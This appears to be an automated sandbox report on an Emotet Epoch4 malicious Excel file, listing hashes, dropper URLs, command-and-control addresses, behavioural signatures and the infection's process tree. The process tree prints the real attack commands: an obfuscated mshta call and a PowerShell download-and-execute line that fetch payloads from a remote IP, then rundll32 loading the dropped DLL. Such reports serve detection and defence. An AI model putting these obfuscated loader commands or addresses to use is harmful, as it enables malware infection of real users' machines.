emotet | e6bb11b13821b7ea0b993c919bc0981f30b1dcd5dfa1780f46ec52fd351f2655

General

Target

UNM250124770WQ.xls
Size

46KB
MD5

9ac0fa065828c187a22b526eea1ad83b
SHA1

242681b858b50c76f8aeab1e75ff46d19f67c7c9
SHA256

e6bb11b13821b7ea0b993c919bc0981f30b1dcd5dfa1780f46ec52fd351f2655
SHA512

fdb67c0a67411eea4d4302bbd5567159d1ea5a2668202746a6891fe6639778779a7bcd2b9329a821b05cc3f909c695f5ff98f1f4cbc581a075ed45ef3b2fa761

Score

10^/10

emotet epoch4 banker trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://91.240.118.168/vvv/ppp/fe.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://91.240.118.168/vvv/ppp/fe.png

Extracted

Family

emotet

Botnet

Epoch4

C2

51.15.4.22:443

173.214.173.220:8080

212.237.5.209:443

192.254.71.210:443

216.158.226.206:443

162.243.175.63:443

212.24.98.99:8080

58.227.42.236:80

45.118.115.99:8080

104.251.214.46:8080

185.157.82.209:8080

46.55.222.11:443

188.40.137.206:8080

81.0.236.90:443

103.75.201.2:443

129.232.188.93:443

195.154.133.20:443

159.8.59.82:8080

79.172.212.216:8080

138.185.72.26:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

CMD.EXE

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	4196	2616	CMD.EXE	EXCEL.EXE

Blocklisted process makes network request 4 IoCs

Processes:

mshta.exepowershell.exerundll32.exe

flow pid process

34 4232 mshta.exe
35 4872 powershell.exe
37 4872 powershell.exe
46 2188 rundll32.exe
Downloads MZ/PE file
Loads dropped DLL 2 IoCs

Processes:

rundll32.exerundll32.exe

pid process

1612 rundll32.exe
1980 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Sxoxchrlgiujqu\iejxqgdy.zij rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

4152 4232 WerFault.exe mshta.exe

flow	pid	process
34	4232	mshta.exe
35	4872	powershell.exe
37	4872	powershell.exe
46	2188	rundll32.exe

pid	process
1612	rundll32.exe
1980	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Sxoxchrlgiujqu\iejxqgdy.zij	rundll32.exe

pid	pid_target	process	target process
4152	4232	WerFault.exe	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

2616 EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

Processes:

powershell.exeWerFault.exerundll32.exe

pid	process
4872	powershell.exe
4872	powershell.exe
4872	powershell.exe
4152	WerFault.exe
4152	WerFault.exe
4152	WerFault.exe
4152	WerFault.exe
4152	WerFault.exe
4152	WerFault.exe
4152	WerFault.exe
4152	WerFault.exe
4152	WerFault.exe
4152	WerFault.exe
4152	WerFault.exe
4152	WerFault.exe
4152	WerFault.exe
4152	WerFault.exe
2188	rundll32.exe
2188	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exeWerFault.exe

description pid process

Token: SeDebugPrivilege 4872 powershell.exe
Token: SeDebugPrivilege 4152 WerFault.exe

description	pid	process
Token: SeDebugPrivilege	4872	powershell.exe
Token: SeDebugPrivilege	4152	WerFault.exe

Suspicious use of SetWindowsHookEx 13 IoCs

Processes:

EXCEL.EXE

pid	process
2616	EXCEL.EXE
2616	EXCEL.EXE
2616	EXCEL.EXE
2616	EXCEL.EXE
2616	EXCEL.EXE
2616	EXCEL.EXE
2616	EXCEL.EXE
2616	EXCEL.EXE
2616	EXCEL.EXE
2616	EXCEL.EXE
2616	EXCEL.EXE
2616	EXCEL.EXE
2616	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

EXCEL.EXECMD.EXEmshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exe

description	pid	process	target process
PID 2616 wrote to memory of 4196	2616	EXCEL.EXE	CMD.EXE
PID 2616 wrote to memory of 4196	2616	EXCEL.EXE	CMD.EXE
PID 4196 wrote to memory of 4232	4196	CMD.EXE	mshta.exe
PID 4196 wrote to memory of 4232	4196	CMD.EXE	mshta.exe
PID 4232 wrote to memory of 4872	4232	mshta.exe	powershell.exe
PID 4232 wrote to memory of 4872	4232	mshta.exe	powershell.exe
PID 4872 wrote to memory of 1560	4872	powershell.exe	cmd.exe
PID 4872 wrote to memory of 1560	4872	powershell.exe	cmd.exe
PID 1560 wrote to memory of 1612	1560	cmd.exe	rundll32.exe
PID 1560 wrote to memory of 1612	1560	cmd.exe	rundll32.exe
PID 1560 wrote to memory of 1612	1560	cmd.exe	rundll32.exe
PID 1612 wrote to memory of 1980	1612	rundll32.exe	rundll32.exe
PID 1612 wrote to memory of 1980	1612	rundll32.exe	rundll32.exe
PID 1612 wrote to memory of 1980	1612	rundll32.exe	rundll32.exe
PID 1980 wrote to memory of 2620	1980	rundll32.exe	rundll32.exe
PID 1980 wrote to memory of 2620	1980	rundll32.exe	rundll32.exe
PID 1980 wrote to memory of 2620	1980	rundll32.exe	rundll32.exe
PID 2620 wrote to memory of 2188	2620	rundll32.exe	rundll32.exe
PID 2620 wrote to memory of 2188	2620	rundll32.exe	rundll32.exe
PID 2620 wrote to memory of 2188	2620	rundll32.exe	rundll32.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\UNM250124770WQ.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2616

C:\Windows\SYSTEM32\CMD.EXE
CMD.EXE /c ms^hta http://91.2^40.118.1^68/vvv/ppp/f^e.ht^m^l
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4196

C:\Windows\system32\mshta.exe
mshta http://91.240.118.168/vvv/ppp/fe.html
3⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:4232

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.168/vvv/ppp/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4872

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD
5⤵
- Suspicious use of WriteProcessMemory
PID:1560

C:\Windows\SysWow64\rundll32.exe
C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD
6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1612

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:1980

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Sxoxchrlgiujqu\iejxqgdy.zij",JsgvSfeOuwHTjf
8⤵
- Suspicious use of WriteProcessMemory
PID:2620

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Sxoxchrlgiujqu\iejxqgdy.zij",DllRegisterServer
9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:2188

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 4232 -s 1624
4⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4152

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

3

T1082

Query Registry

2

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\ProgramData\QWER.dll
MD5
047c2356f6fca3412dcac51cfba937c4

SHA1
9fb1a5e24e77767cf157879bb02eff71692eba2e

SHA256
20c15e85b846dca4beb07a229749ebe688ef5af18617a79739895264f59c4564

SHA512
c47236585104b733476cb7f37627431f03e8b5079b9a31e8b466657a796538ad690adc8c0b41c6c1340a978b38a052c8993eb1b79b1685f8da3d9fd640caeba3

Download Submit
\ProgramData\QWER.dll
MD5
047c2356f6fca3412dcac51cfba937c4

SHA1
9fb1a5e24e77767cf157879bb02eff71692eba2e

SHA256
20c15e85b846dca4beb07a229749ebe688ef5af18617a79739895264f59c4564

SHA512
c47236585104b733476cb7f37627431f03e8b5079b9a31e8b466657a796538ad690adc8c0b41c6c1340a978b38a052c8993eb1b79b1685f8da3d9fd640caeba3

Download Submit
\ProgramData\QWER.dll
MD5
047c2356f6fca3412dcac51cfba937c4

SHA1
9fb1a5e24e77767cf157879bb02eff71692eba2e

SHA256
20c15e85b846dca4beb07a229749ebe688ef5af18617a79739895264f59c4564

SHA512
c47236585104b733476cb7f37627431f03e8b5079b9a31e8b466657a796538ad690adc8c0b41c6c1340a978b38a052c8993eb1b79b1685f8da3d9fd640caeba3

Download Submit
memory/1612-321-0x0000000002EC0000-0x0000000002EE5000-memory.dmp

Filesize
148KB

Download
memory/1980-333-0x0000000005730000-0x0000000005755000-memory.dmp

Filesize
148KB

Download
memory/1980-324-0x0000000004E80000-0x0000000004EA5000-memory.dmp

Filesize
148KB

Download
memory/1980-335-0x0000000005790000-0x00000000057B5000-memory.dmp

Filesize
148KB

Download
memory/1980-331-0x00000000056D0000-0x00000000056F5000-memory.dmp

Filesize
148KB

Download
memory/1980-329-0x0000000005570000-0x0000000005595000-memory.dmp

Filesize
148KB

Download
memory/1980-339-0x0000000005960000-0x0000000005985000-memory.dmp

Filesize
148KB

Download
memory/1980-327-0x0000000005490000-0x00000000054B5000-memory.dmp

Filesize
148KB

Download
memory/2188-343-0x00000000045D0000-0x00000000045F5000-memory.dmp

Filesize
148KB

Download
memory/2188-340-0x0000000002660000-0x0000000002685000-memory.dmp

Filesize
148KB

Download
memory/2616-381-0x00007FFA98310000-0x00007FFA98320000-memory.dmp

Filesize
64KB

Download
memory/2616-118-0x00007FFA98310000-0x00007FFA98320000-memory.dmp

Filesize
64KB

Download
memory/2616-117-0x00007FFA98310000-0x00007FFA98320000-memory.dmp

Filesize
64KB

Download
memory/2616-116-0x00007FFA98310000-0x00007FFA98320000-memory.dmp

Filesize
64KB

Download
memory/2616-119-0x00007FFA98310000-0x00007FFA98320000-memory.dmp

Filesize
64KB

Download
memory/2616-380-0x00007FFA98310000-0x00007FFA98320000-memory.dmp

Filesize
64KB

Download
memory/2616-382-0x00007FFA98310000-0x00007FFA98320000-memory.dmp

Filesize
64KB

Download
memory/2616-383-0x00007FFA98310000-0x00007FFA98320000-memory.dmp

Filesize
64KB

Download
memory/2616-115-0x00007FFA98310000-0x00007FFA98320000-memory.dmp

Filesize
64KB

Download
memory/2616-129-0x00007FFA94C50000-0x00007FFA94C60000-memory.dmp

Filesize
64KB

Download
memory/2616-128-0x00007FFA94C50000-0x00007FFA94C60000-memory.dmp

Filesize
64KB

Download
memory/2620-336-0x0000000004910000-0x0000000004935000-memory.dmp

Filesize
148KB

Download
memory/4872-314-0x0000024781CE0000-0x0000024781D32000-memory.dmp

Filesize
328KB

Download
memory/4872-309-0x000002479AC40000-0x000002479ACB6000-memory.dmp

Filesize
472KB

Download
memory/4872-298-0x000002479A800000-0x000002479A83C000-memory.dmp

Filesize
240KB

Download
memory/4872-285-0x0000024781CE0000-0x0000024781D32000-memory.dmp

Filesize
328KB

Download
memory/4872-284-0x0000024781CE0000-0x0000024781D32000-memory.dmp

Filesize
328KB

Download
memory/4872-277-0x000002479A440000-0x000002479A462000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads